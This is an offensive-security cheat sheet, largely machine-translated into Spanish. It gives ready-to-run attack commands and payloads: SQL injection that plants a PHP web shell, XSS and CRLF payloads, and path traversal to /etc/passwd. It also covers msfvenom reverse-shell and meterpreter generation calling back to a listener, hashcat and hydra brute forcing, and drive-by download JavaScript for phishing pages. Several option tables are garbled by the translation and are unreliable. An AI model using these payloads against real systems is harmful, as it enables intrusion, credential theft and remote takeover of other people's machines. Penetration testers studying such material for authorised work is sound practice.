Puede encontrar rockyou.txt y subdomains-top1mil.txt listas de palabras en las secciones.
Prefiero usar núcleos para el escaneo de vulnerabilidad.
Instalación:
apt-get update && apt-get -y install testssl.shPruebe un certificado SSL/TLS (p. Ej., SSL/TLS CIPHERS, Protocolos, etc.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
También puede usar Testssl.Sh para explotar las vulnerabilidades SSL/TLS.
Pruebe un servidor web para obtener vulnerabilidad de Heartbleed:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtCertificado SSL/TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Use descubrir con shodan y censes de dorks SSL/TLS para encontrar más anfitriones en el alcance.
Siempre pruebe el inicio de sesión de la sesión nula, es decir, sin inicio de sesión de contraseña, o busque en Internet las credenciales predeterminadas para una aplicación web específica.
Intente manipular cookies o tokens JWT para obtener acceso o elevar los privilegios. En el cierre de sesión, siempre verifique si alguna de las cookies o tokens JWT todavía son válidos.
Siempre inspeccione el almacenamiento local del navegador web, especialmente si prueba una aplicación de una sola página (SPA).
Intente transformar, por ejemplo, una solicitud de publicación HTTP en una solicitud HTTP GET, es decir, en una cadena de consulta, y vea cómo reaccionará un servidor.
Apague JavaScript en su navegador web y consulte el comportamiento de la aplicación web nuevamente.
Verifique el comportamiento de la aplicación web en un dispositivo móvil, ya que algunas características pueden funcionar de manera diferente. Intente falsificar su agente de usuario o intente visitar m.somesite.com .
Si desea automatizar su prueba de inyección de código, verifique la subsección de listas de palabras para obtener listas de palabras de inyección de código. Algunas de las listas de palabras también incluyen inyecciones de código ofuscadas.
Si ve alguna cantidad o cantidad, intente usar Danielmiessler/SECLISTS/Tree/Master/Fuzzing/Ciñones Lista de palabras, ya que podría causar un comportamiento no deseado, errores o incluso si omiten los límites mínimos y máximos.
No olvides limpiarte después de ti mismo. Elimine todos los artefactos creados, incl. malware, exploits, herramientas, scripts, etc., y revertir todas las configuraciones y cambios de un host de destino después de que haya terminado de probar.
Utilizado cuando se intenta explotar una redirección abierta, secuencia de comandos de sitios cruzados ciegos (XSS), interacciones DNS y HTTP, etc.
Reúna tanta información como pueda para un objetivo específico, consulte cómo en 1. Reconocimiento.
Reúna nombres de la organización con Whois y nombres canónicos con anfitrión.
Puede verificar si los dominios/subdominios están muertos con DIG o Alive y HTTPX.
Compruebe si los proveedores de alojamiento para los dominios/subdominios encontrados son vulnerables a la adquisición de dominio/subdominio en Edoverflow/Can-I-Take-Over-XYZ. ¡Créditos al autor!
Proveedores de servicios en la nube más grandes:
Instalación:
go install -v github.com/lukasikic/subzy@latest
Verifique que la adquisición de dominios/subdominios:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Instalación:
go install -v github.com/haccer/subjack@latestVerifique que la adquisición de dominios/subdominios:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Descubra cómo omitir los códigos de estado de respuesta HTTP 4XX en Ivan-Sincek/Probidden.
Escanear un servidor web:
nikto -output nikto_results.txt -h somesite.com -p 80
Escanee un sitio web de WordPress:
wpscan -o wpscan_results.txt --url somesite.com
Instalación y actualización:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utEscaneo de vulnerabilidad, todas las plantillas:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtSolo adquisición del subdominio:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Descubra los parámetros de solicitud:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Directorios de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Valores de parámetros de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Parámetros de fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Ejemplo adicional, Fuzzing interno de SSRF:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Opción | Descripción |
|---|---|
| -F | Resultados de almacenamiento en el archivo de salida |
| -T | Especifique el número de conexiones concurrentes (10 predeterminados) |
| -s | Especifique el retraso de tiempo entre las solicitudes (0 por defecto) |
| -u | Especificar una URL para la solicitud |
| -Wor | Especificar un archivo de lista de palabras |
| -INCÓGNITA | Especifique un método HTTP para la solicitud, es decir, cabeza o fuzz |
| -b | Especificar una cookie para las solicitudes |
| -d | Usar datos postales |
| -HOH | Usar encabezado |
| --hc/-hl/-hw/-hh | Ocultar respuestas con el código especificado/líneas/palabras/chars |
| --sc/-sl/-sw/-sh | Mostrar respuestas con el código especificado/líneas/palabras/chars |
| --ss/-hs | Mostrar/ocultar respuestas con el Regex especificado dentro del contenido |
Primero, intente simplemente cambiar un valor a otro, por ejemplo, cambiar [email protected] a [email protected] , cambiar alguna identificación del 1 al 2 , etc.
Es probable que los ID de número más bajo se relacionen con algunas cuentas o roles de mayor privilegio.
Segundo, prueba la contaminación de los parámetros:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Para generar la salida anterior, ejecute idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
También conocido como inyección CRLF. CRLF se refiere al retorno del carro ( ASCII 13 , r ) y alimentación de línea ( ASCII 10 , n ).
Cuando se codifica, r se refiere a %0D y n se refiere a %0A .
Fijar una cookie de sesión:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Redirección abierta:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
La fijación de la sesión y la redirección abierta son una de las muchas técnicas utilizadas en combinación con la división de respuesta HTTP. Busque en Internet más técnicas.
Cargas simples de secuencias de comandos de sitios cruzados (XSS):
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > Hosting JavaScript en Pastebin no funcionará porque Pastebin siempre devuelve text/plain .
Obtenga más información sobre los ataques de secuencias de comandos de sitios cruzados reflejados y almacenados, así como ataques de falsificación de solicitudes de sitios cruzados (XSRF/CSRF) en Ivan-Sincek/XSS-Catcher.
Correos electrónicos válidos con XSS incrustado:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comLas siguientes cargas útiles se probaron en la base de datos MySQL. Tenga en cuenta que MySQL requiere un personaje de espacio en blanco entre el símbolo de comentarios y el siguiente personaje.
Si necesita codificar la URL el carácter de espacio en blanco, use %20 o + en su lugar.
Intente producir errores de la base de datos inyectando una cita única, brote, doble hyphen, ventaja hacia adelante o período.
Siempre asegúrese de cerrar adecuadamente el código circundante.
Lea este artículo de OWASP para aprender a evitar WAF.
SQLI con sede en Boolean:
' OR 1=1--
' OR 1=2--
SQLI basado en la Unión:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Si usa, por ejemplo, 1,2,3,4 no funciona, intente usar NULL,NULL,NULL,NULL respectivamente.
Use el SQLI basado en la Unión solo cuando pueda usar el mismo canal de comunicación para lanzar el ataque y reunir resultados.
El objetivo es determinar el número exacto de columnas en la consulta SQL y determinar cuáles de ellas se muestran al usuario.
Otra forma de determinar el número exacto de columnas es usar, por ejemplo, ' ORDER BY 1-- , donde 1 es el número de columna utilizado para clasificarlo, incrementándolo por uno en cada intento.
SQLI basado en el tiempo:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Use el SQLI basado en el tiempo cuando no pueda ver los resultados.
Verifique la existencia/corrección:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Inyecte un shell web PHP simple basado en la solicitud de obtención de HTTP:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Para inyectar con éxito un shell web, el usuario de la base de datos actual debe tener un permiso de escritura.
Inyectar código SQL en parámetros de solicitud:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Opción | Descripción |
|---|---|
| -u | URL objetivo |
| -HOH | Encabezado HTTP adicional |
| --datos | Cadena de datos que se enviará a través de POST |
| --galleta | Valor de encabezado de galletas http |
| --apoderado | Use un proxy para conectarse a la URL de destino ([protocolo: //] host [: puerto]) |
| -pag | Parámetros comprobables |
| --nivel | Nivel de pruebas para realizar (1-5, predeterminado: 1) |
| --riesgo | Riesgo de pruebas para realizar (1-3, predeterminado: 1) |
| -a | Recuperar todo |
| -b | Recuperar Banner DBMS |
| --dump-todo | Volcar todas las entradas de tablas de bases de datos DBMS |
| -oS-shell | Solicitar un shell de sistema operativo interactivo |
| -oS-pwn | Solicitar un shell OOB, meterpreter o vnc |
| --sqlmap-shell | Solicitar un shell SQLMAP interactivo |
| --mago | Interfaz de asistente simple para usuarios para principiantes |
| --dbms | Hacer. |
Traverse una ruta (por ejemplo, somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Intente prepender un protocolo como file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// , etc., a la ruta del archivo; por ejemplo, file://TRAVERSAL .
Consulte algunos consejos de transversal de directorio adicional en SwisskyRepo/PayloadSallthings. ¡Créditos al autor!
| Opción | Descripción |
|---|---|
| -metro | Módulo (http, http-url, ftp, tftp lourg carga, stdout) |
| -HOH | Nombre de host |
| -O | Detección del sistema operativo para Fuzzing inteligente (NMAP) |
| -O | Tipo de sistema operativo si se conoce ("Windows", "unix" o "genérico") |
| -d | Profundidad de los recorridos (predeterminado: 6) |
| -F | Nombre de archivo específico (predeterminado: según el sistema operativo detectado) |
| -S | Use SSL para HTTP y el módulo de carga útil (no necesaria para HTTP-URL) |
| -u | URL con la parte a ser marcada como transversal |
| -K | Patrón de texto para que coincida en la respuesta |
| -pag | Nombre de archivo con la carga útil que se enviará y la parte a ser borrada marcada con la palabra clave transversal |
| -incógnita | Puerto para conectarse (predeterminado: http = 80; ftp = 21; tftp = 69) |
| -U | Nombre de usuario (predeterminado: 'Anónimo') |
| -PAG | Contraseña (predeterminada: 'dot (at) dot.pwn') |
| -METRO | Método HTTP para usar cuando se usa el módulo 'HTTP' (obtener, publicar, encender, copiar, mover, predeterminar: obtener) |
| -b | Romper después de que se encuentra la primera vulnerabilidad |
| -DO | Continuar si no se recibieron datos del host |
Obtenga más información sobre las conchas de PHP en Ivan-Sincek/PHP-Reverse-Shell.
Obtenga más información sobre los conchas Java/JSP en Ivan-Sincek/Java-Reverse-TCP.
Descubra cómo generar una carga útil de Shell inversa para Python y envíela a la máquina de destino en Ivan-Sincek/Send-TCP-Payload.
Para generar una Base64 encoded payload , use uno de los siguientes comandos de MSFvenom, modifíquelos a su necesidad:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Para generar un binary file , use uno de los siguientes comandos de MSFVENOM, modifíquelos a su necesidad:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Para generar un DLL file , use uno de los siguientes comandos de MSFVENOM, modifíquelos a su necesidad:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Para generar un standalone executable , el archivo use uno de los siguientes comandos de MSFVENOM, modifíquelos a su necesidad:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Para generar un MSI file , use uno de los siguientes comandos MSFVENOM, modifíquelos a su necesidad:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode podría no funcionar en el primer intento debido a algunos otros malos personajes. La prueba y el error es la clave.
Hasta ahora no hay una manera fácil de generar un archivo DLL ni MSI con un shell de meterpreter sin ciervo debido a los problemas de tamaño.
Para generar un comando codificado PowerShell de un script de PowerShell, ejecute el siguiente comando PowerShell:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Para ejecutar el comando codificado PowerShell, ejecute el siguiente comando desde PowerShell o el símbolo del sistema:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandPara decodificar un comando codificado PowerShell, ejecute el siguiente comando PowerShell:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))Obtenga más información sobre PowerShell Reverse y vincule las conchas TCP en Ivan-Sincek/PowerShell-Reverse-TCP.
Google un hash antes de tratar de romperlo porque podría ahorrarse mucho tiempo y problemas.
Use Google Dorks, Chad o FOCA para encontrar y descargar archivos, y dentro de los metadatos de los archivos, los nombres de usuario de dominio a la fuerza bruta.
Tenga en cuenta que puede bloquear las cuentas de las personas.
Algunos formularios web tienen un desafío Captcha y/o un token de envío oculto que puede evitar que le force bruto. Si ese es el caso, intente presentar una solicitud sin la respuesta del desafío Captcha y el token de presentación.
Puedes encontrar un montón de listas de palabras útiles en las fechorías.
Generar una lista de palabras alfa-numérica inferior:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
Consulte la lista de todos los Charsets disponibles o agregue el suyo en charset.lst ubicado en /usr/share/crunch/ directorio.
Genere todas las permutaciones posibles a partir de palabras:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Genere todas las combinaciones posibles a partir de un charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Opción | Descripción |
|---|---|
| -d | Limita el número de caracteres consecutivos |
| -F | Especifica un conjunto de caracteres desde un archivo |
| -i | Invertida la salida |
| -La | Cuando usa la opción -t, esta opción le dice a Crunch qué símbolos deben tratarse como literales |
| -O | Especifica el archivo para escribir la salida a |
| -pag | Le dice a Crunch que genere/permita palabras que no tienen personajes repetidos |
| -Q | Le dice a Crunch que lea un archivo y permita lo que se lee |
| -r | Le dice a Crunch que reanude generar palabras desde donde dejó, -r solo funciona si usa -o |
| -s | Especifica una cadena inicial |
| -T | Especifica un patrón |
| Marcador de posición | Descripción |
|---|---|
| @ | Caracteres de minúsculas |
| , | Caracteres de mayúsculas |
| De % | Números |
| ^ | Símbolo |
Desafortunadamente, no hay marcador de posición que varíe desde minúsculas-alfa hasta símbolos.
Genere todas las combinaciones posibles de un marcador de posición:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Para identificar un tipo hash, ejecute la siguiente herramienta:
hash-identifier
Fuerza bruta MD5 Hashes:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Fuerza bruta netntlmv1 hash:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Use --session=<session_name> para guardar y continúe su progreso de agrietamiento más tarde usando --restore .
Continúe agrietando el progreso:
hashcat --session=cracking --restore
| Opción | Descripción |
|---|---|
| -metro | Tipo hash, ver referencias a continuación |
| -a | Modo de ataque, ver referencias a continuación |
| --fuerza | Ignorar advertencias |
| --ronte | Sesión de abortes después de x segundos de tiempo de ejecución |
| --estado | Habilitar la actualización automática de la pantalla de estado |
| -O | Definir Outfile para el hash recuperado |
| --espectáculo | Mostrar contraseñas agrietadas que se encuentran en POTFILE |
| --sesión | Definir el nombre específico de la sesión |
| --restaurar | Restaurar sesión de --session |
| --Restore-File-Path | Ruta específica para restaurar archivo |
| -O | Habilitar núcleos optimizados (limita la longitud de la contraseña) |
| -1 | Charset definido por el usuario? 1 |
| -2 | Charset definido por el usuario? 2 |
| -3 | Charset definido por el usuario? 3 |
| -4 | Charset definido por el usuario? 4 |
Al especificar un charset definido por el usuario, ¿escapar ? con otro ? (es decir, usar ?? en lugar de ? ).
| Tipo de hash | Descripción |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | Mysql323 |
| 300 | Mysql4.1/mysql5 |
| 1000 | NTLM |
| 5500 | Netntlmv1-vanilla / netntlmv1-sess |
| 5600 | Netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
Para más tipos de hash, lea el manual.
| Modo de ataque | Nombre |
|---|---|
| 0 | Derecho |
| 1 | Combinación |
| 3 | Fuerza bruta |
| 6 | Lista de palabras híbridas + máscara |
| 7 | Máscara híbrida + lista de palabras |
| 9 | Asociación |
| Charlatán | Descripción |
|---|---|
| ? L | abcdefghijklmnopqrstuvwxyz |
| ? | Abcdefghijklmnopqrstuvwxyz |
| ?d | 0123456789 |
| ?s | ! "#$%& '()*+,-./:; <=>?@[]^_` {|} ~ |
| ?a | ? l? u? d? s |
| ?b | 0x00 - 0xff |
Ataque del diccionario:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Puedes encontrar una lista de palabras rockyou.txt en las fechas.
Fuerza bruta un hash usando un marcador de posición:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Ataque del diccionario:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
También puede consultar mi herramienta de agrietamiento JWT en Ivan-Sincek/JWT-BF.
Prefiero usar Burp Suite para Brute Force Forms e Hydra para otros servicios.
Ataque del diccionario en un formulario web de inicio de sesión de publicación HTTP:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Cuando Brute forzue un formulario web de inicio de sesión, debe especificar Login=Login:<expected_message> para distinguir entre los intentos de inicio de sesión exitosos y fallidos. Cambie los nombres de parámetros de solicitud de username y password según sea necesario.
Ataque del diccionario en un shell seguro (SSH) Iniciar sesión:
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Puedes encontrar un montón de listas de palabras útiles en las fechorías.
| Opción | Descripción |
|---|---|
| -R | Restaurar una sesión previa abortada/bloqueada |
| -S | Realizar una SSL Connect |
| -O | Use SSL V2 y V3 antiguos |
| -s | Si el servicio está en un puerto predeterminado diferente, defina aquí |
| -La | Iniciar sesión con un nombre de inicio de sesión |
| -La | Cargar varios inicios de sesión de un archivo |
| -pag | Iniciar sesión con una contraseña |
| -PAG | Cargar varias contraseñas de un archivo |
| -incógnita | Contraseña Brute Force Generation (Min: Max: Charset), escriba "-x -h" para obtener ayuda |
| -y | Deshabilitar el uso de símbolos en Bruteforce |
| -mi | Pruebe "n" contraseña nula, "s" inicio de sesión como pase y/o "r" invertido inicio de sesión |
| -O | Escriba pares de inicio de sesión/contraseña encontrados en un archivo en lugar de stdout |
| -F/-F | Salir cuando se encuentra un par de inicio de sesión/pase (-f por host, -f global) |
| -METRO | Lista de servidores para atacar, una entrada por línea, ':' para especificar el puerto |
| Servicios compatibles |
|---|
| FTP [S] |
| http [s]-{get | post} -form |
| mysql |
| SMB |
| SMTP [S] |
| SNMP |
| ssh |
| Telnet [S] |
| VNC |
Para servicios más compatibles, lea el manual.
| Sintaxis de la fuerza bruta | Descripción |
|---|---|
| Mínimo | Número mínimo de caracteres en la contraseña |
| Máximo | Número máximo de caracteres en la contraseña |
| Charlatán | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
